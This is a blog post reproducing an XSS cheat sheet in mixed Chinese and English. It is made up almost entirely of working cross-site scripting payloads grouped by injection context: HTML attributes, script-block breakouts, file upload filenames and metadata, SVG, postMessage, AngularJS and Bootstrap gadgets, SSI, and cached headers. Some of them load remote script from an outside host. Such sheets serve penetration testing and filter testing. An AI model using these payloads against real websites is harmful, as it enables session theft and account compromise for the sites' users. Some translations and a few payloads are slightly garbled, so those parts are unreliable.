XSS Cheat Sheet(basics and advanced)

XSS Cheat Sheet

BASICS

  • HTML注入
    当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用。如果输入在HTML注释中,则在payload前加上“-->”
<svg onload=alert(1)>
"><svg onload=alert(1)>
  • HTML注入-标签块突破

​ 当输入落在以下标签的内部或打开/关闭之间时使用:

<title><style><script><textarea><noscript><pre><xmp><iframe>

</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
  • HTML注入-内联

​ 当输入落在HTML标记的属性值内,但该标记不能以大于号(>)结束时使用

"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
  • HTML注入-源文件

​ 当输入作为下列HTML标记属性的值:href、src、data或action(也包括formaction)时使用。脚本标记中的Src属性可以是URL或“data:,alert(1)”。

javascript:alert(1)
  • Javascript注入

    当输入位于脚本块中,在字符串分隔的值内时使用

'-alert(1)-'
'/alert(1)//
  • Javascript Injection - Escape Bypass

    当输入位于脚本块中,在字符串分隔值内,但引号用反斜杠转义时使用。

\'/alert(1)//
  • Javascript Injection – Script Breakout
</script><svg onload=alert(1)>

ADVANCED

  • Javascript Injection - Logical Block

当输入在脚本块中、在字符串分隔值中、在单个逻辑块(如函数或条件块)(if、else等)中着陆时,使用payload1或payload2。如果引号用反斜杠转义,请使用payload3。

'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
  • Javascript Injection - Quoteless

​ 使用时,有多个反射在同一行JS代码

/alert(1)//\
/alert(1)}//\
  • Javascript上下文——模板文字中的占位符注入

当输入位于用反号(' ')分隔的字符串内或在模板引擎中时使用

${alert(1)}
  • 多反射HTML注入-双反射(单输入)

用于利用同一页面上的多个反射

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
  • 多反射HTML注入-三反射(单输入)
    用于利用同一页面上的多个反射。
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
  • Multi Input Reflections HTML Injection - Double & Triple(多次输入)
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
  • File Upload Injection – Filename

当上传的文件名在目标页的某个地方反映出来时使用。

"><svg onload=alert(1)>.gif
  • File Upload Injection – Metadata

Use when metadata of uploaded file is reflected somewhere in target page. It uses
command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.

当上传文件的元数据在目标页面某处反映时使用。它使用命令行exiftool($是终端提示符),可以设置任何元数据字段。

$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
  • File Upload Injection – SVG File

用于在上传图像文件时在目标上创建存储的XSS。将下面的内容保存为
“xss.svg”。

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  • DOM Insert Injection
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
  • DOM Insert Injection – Resource Request

本机javascript代码将请求的结果插入到可由攻击者控制的URL中时使用。

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
  • PHP Self URL Injection

当前URL被目标的底层PHP代码用作属性值时使用
例如,HTML表单。在php扩展和查询部分(?)的开始之间使用斜杠(/)注入。

https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
  • Markdown Vector

用于文本框、注释部分等允许某些标记输入的地方。 Click to fire.

[clickme](javascript:alert1)

[clickme](javascript:alert`1`)
  • Script Injection - No Closing Tag

Use when there’s a closing script tag (</script>) somewhere in the code after reflection.

<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
  • Javascript postMessage() DOM Injection (with Iframe)

Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)”
in javascript code without a check for origin. Target must be able to be framed (X-Frame
Options header according to context). Save as HTML file (or using data:text/html) providing
TARGET_URL and INJECTION (a XSS vector or payload).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
  • XML-Based XSS

Use to inject XSS vector in a XML page (content types text/xml or application/xml).
Prepend a “-->” to payload if input lands in a comment section or “]]>” if input lands in a
CDATA section.

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
  • AngularJS Injections (v1.6 and up)

Use when there’s an AngularJS library loaded in page, inside an HTML block with ng-app
directive (1 st payload) or creating your own (2 nd one).

{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
  • Onscroll Universal Vector Onscroll通用矢量

当使用onscroll事件处理程序时,用于XSS而不需要用户交互。

It works with
address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6
HTML tags.

<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
  • Type Juggling

    Use to pass an “if” condition matching a number in loose comparisons.

1<svg onload=alert(1)>
1"><svg onload=alert(1)>
  • XSS in SSI
    Use when there’s a Server-Side Include (SSI) injection.
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
  • SQLi Error-Based XSS

用于可以触发SQL错误消息的端点(使用引号或反斜杠)。

'1<svg onload=alert(1)>
<svg onload=alert(1)>\
  • Injection in JSP Path

Use in JSP-based applications in the path of URL.

//DOMAIN/PATH/;<svg onload=alert(1)>
//DOMAIN/PATH/;"><svg onload=alert(1)>
  • JS Injection - ReferenceError Fix

用于修正一些挂起的javascript代码的语法。检查控制台标签在浏览器
开发工具(F12)为各自的ReferenceError和替换相应的var和函数名。

(Use to fix the syntax of some hanging javascript code. Check console tab in Browser
Developer Tools (F12) for the respective ReferenceError and replace var and function
names accordingly.)

';alert(1);var myObj='
';alert(1);function myFunc(){}'
  • Bootstrap Vector (up to v3.4.0)

Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just
click anywhere in page to trigger. Any char of href value can be HTML encoded do bypass
filters.

<html data-toggle=tab href="<img src=x onerror=alert(1)>">
  • Browser Notification

用作提示、提示和确认弹出窗口的另一种选择。它需要用户接受(第1个有效载荷),但是一旦用户之前为该站点进行了授权,就可以使用第2个有效载荷。

Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
  • XSS in HTTP Header - Cached

Use to store a XSS vector in application by using the MISS-MISS-HIT cache scheme (if
there’s one in place). Replace with your respective vector and TARGET with a dummy
string to avoid the actual cached version of the page. Fire the same request 3 times.

$ curl -H "Vulnerable_Header: <XSS>" TARGET/?dummy_string
posted @ 2020-04-29 19:16  10nnn4R  阅读(398)  评论(0编辑  收藏  举报